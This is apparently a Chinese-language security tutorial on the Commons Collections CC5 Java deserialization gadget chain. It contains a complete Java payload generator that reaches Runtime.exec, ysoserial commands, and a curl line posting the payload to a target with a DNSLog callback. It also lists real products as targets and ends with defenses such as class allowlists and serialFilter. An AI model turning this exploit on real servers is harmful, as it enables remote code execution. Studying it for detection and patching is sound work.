java反序列化:CC5利用链解析
CommonsCollections5(CC5)是Apache Commons Collections反序列化漏洞利用链的重要变种,由安全研究员Matthias Kaiser在2016年发现。本文将深入剖析其原理、构造技巧和防御方案。
一、CC5链技术背景
CC5链在Java 8u76之前有效,利用BadAttributeValueExpException
作为入口点,结合TiedMapEntry
和LazyMap
实现代码执行。相比CC1链,它解决了以下问题:
- 绕过
AnnotationInvocationHandler
依赖(Java 8u71+修复) - 兼容更高版本JDK(8u76前)
- 使用更通用的JDK内置类
二、漏洞利用链原理
完整调用链:
Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
核心触发点分析:
// javax.management.BadAttributeValueExpException
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();//漏洞触发点} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}
三、关键类源码剖析
1. TiedMapEntry 触发点
// org.apache.commons.collections.keyvalue.TiedMapEntry
public Object getValue() {return this.map.get(this.key); // 调用LazyMap.get()
}public String toString() {return this.getKey() + "=" + this.getValue(); // 反序列化入口
}
2. LazyMap 利用点
// org.apache.commons.collections.map.LazyMap
public Object get(Object key) {if (!map.containsKey(key)) {Object value = factory.transform(key); // 执行Transformer链map.put(key, value);return value;}return map.get(key);
}
3. Transformer 执行链
详情请看之前的文章
// 恶意Transformer链构造
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", ...),new InvokerTransformer("invoke", ...),new InvokerTransformer("exec", ...)
};
四、完整Payload构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC5Exploit {public static byte[] generatePayload(String cmd) throws Exception {// 1. 构造Transformer执行链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})};ChainedTransformer chain = new ChainedTransformer(transformers);// 2. 构造LazyMapMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, chain);// 3. 构造TiedMapEntryTiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger_key");// 4. 设置BadAttributeValueExpExceptionBadAttributeValueExpException bad = new BadAttributeValueExpException(null);Field valField = BadAttributeValueExpException.class.getDeclaredField("val");valField.setAccessible(true);valField.set(bad, entry); // 注入恶意对象// 5. 序列化PayloadByteArrayOutputStream baos = new ByteArrayOutputStream();try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {oos.writeObject(bad);}return baos.toByteArray();}public static void main(String[] args) throws Exception {byte[] payload = generatePayload("calc.exe");// 模拟漏洞环境try (ByteArrayInputStream bais = new ByteArrayInputStream(payload);ObjectInputStream ois = new ObjectInputStream(bais)) {ois.readObject(); // 触发漏洞}}
}
- 一般来说反序列化利用链代码的编写是倒着来写的,首先是
transform
链的构造,如果某个类可以调用transformChain
的transform
方法,则可以执行命令,发现LazyMapd
的get
函数能执行transform
方法。 - 进一步发现
TiedMapEntry
的toString
方法能执行LazyMapd
的get
函数。 - 现在要寻找一个类的
readObject
方法能执行toString
方法,找到BadAttributeValueExpException
类可以。 - 那么通过反射构造一个恶意
BadAttributeValueExpExceptionn
类,通过反序列化触发readObject
方法就能实现命令执行。
五、利用方式详解
1. 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections5 "cmd /c calc.exe" > payload.bin
2. 漏洞检测流程
-
环境验证:
- Commons Collections 3.1 - 3.2.1
- JDK < 1.8u76
-
利用步骤:
# 生成Payload java -jar ysoserial.jar CommonsCollections5 "nslookup dnslog.cn" > payload.bin# 发送Payload到目标 curl http://vuln-server/deserialize --data-binary @payload.bin# 检查DNSLog记录
3. 实战利用场景
- Weblogic:T3协议反序列化
- JBoss:JMXInvokerServlet
- WebSphere:反序列化入口点
- 自定义协议:任何接收Java序列化数据的地方
六、防御解决方案
1. 组件级防御
<!-- 升级Commons Collections -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.4</version>
</dependency>
2. 代码级防护
// 使用SafeObjectInputStream
public class SecureObjectInputStream extends ObjectInputStream {private static final String[] ALLOWED_CLASSES = {"java.lang.String", "java.util.HashMap"};public SecureObjectInputStream(InputStream in) throws IOException {super(in);}@Overrideprotected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {String className = desc.getName();for (String allowed : ALLOWED_CLASSES) {if (className.equals(allowed)) {return super.resolveClass(desc);}}throw new InvalidClassException("Unauthorized deserialization", className);}
}
3. JVM级防护
# 启动参数添加过滤器
java -Djdk.serialFilter='!org.apache.commons.collections.**;!javax.management.BadAttributeValueExpException;!*' \-jar application.jar
七、技术总结与对比
特性 | CC1链 | CC5链 | CC7链 |
---|---|---|---|
入口点 | AnnotationInv | BadAttribute | Hashtable |
JDK限制 | <8u71 | <8u76 | 无 |
依赖类 | LazyMap | TiedMapEntry | AbstractMap |
利用复杂度 | 中等 | 中等 | 复杂 |
通用性 | 低 | 高 | 高 |
CC5链核心优势:
- 不依赖
sun.reflect
包,兼容性更强 - 使用JDK内置异常类作为入口点
- 构造过程无需动态代理
- 在Java 8u76前广泛有效
截至2023年,CC5链在未升级的Weblogic 10.3.6环境中仍有实战价值,是红队评估中的常用武器。
通过深入理解CC5链的实现机制,安全人员可以更好地进行漏洞挖掘和防御,同时为分析更复杂的反序列化漏洞奠定基础。